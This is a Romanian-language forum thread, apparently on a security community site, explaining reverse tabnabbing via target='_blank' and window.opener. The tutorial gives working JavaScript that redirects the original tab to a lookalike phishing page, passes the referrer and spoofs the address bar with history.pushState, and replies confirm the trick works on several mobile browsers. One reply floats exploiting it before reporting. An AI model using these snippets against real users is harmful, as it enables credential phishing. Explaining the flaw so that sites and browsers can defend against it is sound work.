Jump to content
B7ackAnge7z

Phishing via target="_blank"

Recommended Posts

Sper s? nu gre?esc dac? voi spune, c? ?tim cu to?ii ce e un link ?i la ce folose?te atributul target pentru tag-ul <a>. ?i dat fiind faptul c? majoritatea consider? inofensiv? folosirea acestei tehnici atât de populare, în acest tutorial voi încerca s? demonstrez contrariul.

Pentru început vreau s? men?ionez c? ceea ce va fi descris aici, personal o consider a fiind o vulnerabilitate pentru toate browserele cu excep?ia... ta-da! — Internet Explorer. Iat? de ce în continuare voi folosi cuvântul „vulnerabilitate” atunci când m? voi referi la acest „fenomen”.

De asemenea, v? rog s? atrage?i aten?ia c? aceast? vulnerabilitate v-a func?iona perfect doar dac? se va ap?sa click de stânga pe link, ?i nu click de dreapta ? „Deschide în fil? nou?”.

?i, nu în ultimul rând, a?a cum toat? lumea recomand? s? fie folosit target="_blank" pentru toate link-urile externe (doar nu dorim ca utilizatorul s? p?r?seasc? pagina noastr?), trebuie s? constat c? aceast? vulnerabilitate afecteaz? majoritatea site-urilor care fac referire la pagini externe.

Teorie

Dac? avem pagina curent? „A” ?i facem referire la pagina „B” folosind atributul target="_blank", atunci când se va deschide pagina „B” pentru aceasta va fi creat un obiect window.opener cu ajutorului c?ruia putem redirec?iona pagina „A” c?tre o nou? pagin? în timp ce utilizatorul acceseaz? pagina „B”. ?i cel mai important, paginile „A” ?i „B” pot fi pe domenii diferite.

Practic?

Pentru a în?elege mai bine despre ce merge vorba, v? recomand urm?torul exemplu: ap?sa?i click aici, a?tepta?i s? se încarce pagina, dup? care reveni?i înapoi. Dac? apare eroarea „window.opener is null” atunci:

  1. Ai deschis link-ul altfel decât folosind click de stânga;
  2. Browserul t?u nu e vulnerabil;
  3. Magie neagr??

Pentru un exemplu mai complex, v? rog s? accesa?i aceast? pagin? unde am folosit aceast? vulnerabilitate pentru a simula un atac de tip phishing asupra unui site ce ofer? servicii de email. Ca ?i pentru oricare site asem?n?tor (Gmail, Hotmail ?.a.) fiecare link primit într-un mesaj are atributul target="_blank".

Explica?ii

Pentru a exploata vulnerabilitatea, trimitem un mesaj ce con?ine adresa URL c?tre pagina „capcan?”, unde pentru a fi siguri c? utilizatorul a deschis link-ul, folosind click de stânga ?i nu alt? metod?, verific?m dac? exist? obiectul window.opener ?i nu este NULL. Dup? care, putem redirec?iona pagina de unde a venit utilizatorul. Codul arat? cam a?a:

if (window.opener) {
window.opener.location.replace('full-url-to-scam-page');
}

Dup? cum pute?i observa, totul e atât de simplu, atât de banal, atât de periculos... Dac? pagina de phishing ?i cea legitim? arat? ca 2 pic?turi de ap?, iar numele domeniului nu d? de b?nuit, când utilizatorul va reveni la pagina ini?ial? cu siguran??, nu va observa modificarea.

Pentru a da mai pu?in de b?nuit, poate fi modificat? adresa URL pentru pagina de phishing în felul urm?tor:

  • De pe pagina funny.php e nevoie s? trimitem adresa URL (referrer) de unde a venit utilizatorul. Eu am f?cut a?a:
    var referrer = encodeURIComponent(document.referrer);
    window.opener.location = 'http://black.securrity.com/t_blank/scam.php#' + referrer;


  • Apoi, pe pagina scam.php am folosit urm?torul cod:
    // Extragem leg?tura adresei URL ?i elimin?m numele domeniului
    var fakeurl = decodeURIComponent(window.location.hash).replace('#http://white.securrity.com', '');

    // Modific?m adresa URL f?r? a înc?rca con?inutul acelei pagini
    window.history.pushState(false, false, fake_url);


În loc de concluzii

Sincer, nu în?eleg, ce a fost în capul dezvoltatorilor ca s? permit? executarea func?iei location.replace() sau modificarea obiectului location dintre dou? domenii diferite? Dac? era de pe acela?i domeniu, în?elegeam... ?i chiar e foarte straniu, c?ci celelalte func?ii ?i atribute ale obiectului window.opener nu pot nici m?car citite, deoarece:

Error: Permission denied to access property 'bla-bla-bla'
  • Upvote 6
Link to comment
Share on other sites

Confirm ca merge si pe browserul stock din android. Acolo eu consider vul erabilitatea critica pentru ca linkbarul e by default hidden.

Într-adev?r, mi s-a spus ieri despre acest lucru. Plus c? nici nu observi c? pagina face „refresh”.

se pare ca toate proprietatile nu mai sunt access denied cand pagina deschisa e pe acelasi domeniu

Dac? e de pe acela?i domeniu nu e nici o problem? (fi?ierele cookie tot pot fi citite de pe acela?i domeniu).

1. Vunlerabilitatea e descpoperiat de tine?

2. De ce nu functioneaza cand deschizi link-ul prin click drepata si "deschide intr-o fila noua"?

Multumesc.

1) Nu, nu de mine. Doar întâlnind aceast? „problem?” m-am apucat serios de studiat. Îns? dac? a? fi fost mai atent, trebuia s? ?tiu tot despre vulnerabilitate înc? din prim?vara lui 2012 (*ehh... dând am?rât din cap de mai multe ori*).

2) Sincer, nu am nici o idee. La început credeam c? nici document.referer nu merge dac? folose?ti click de dreapta, îns? în realitate nu e transmis doar obiectul window.opener

Link to comment
Share on other sites

Confirm ca merge si pe browserul stock din android.

La fel ?i Safari, iOS.


http://www.youtube.com/watch?feature=player_detailpage&v=q5A4k1bDV0s#t=217s

Cât despre Google Chrome, Android, se pare c? este mai "iste?". Merit? s? încerce cineva pe Android cu Chrome, nu cu browser-ul din stock.

Edited by vexyro
Link to comment
Share on other sites

Am testat acum pe yahoo si gmail si se pare ca merge. Nu ar trebui raportat, sau sa mai profitam putin?

Aici merge vorba despre o vulnerabilitate pentru browser, iar cei de la Google ?i Mozilla au fost în?tiin?a?i. Deci, de aceast? vulnerabilitate ar trebui s? se ocupe dezvoltatorii de browsere, ?i nu cei de site-uri.

Cât despre Google Chrome pentru Android — da, acesta este vulnerabil.

Link to comment
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.



×
×
  • Create New...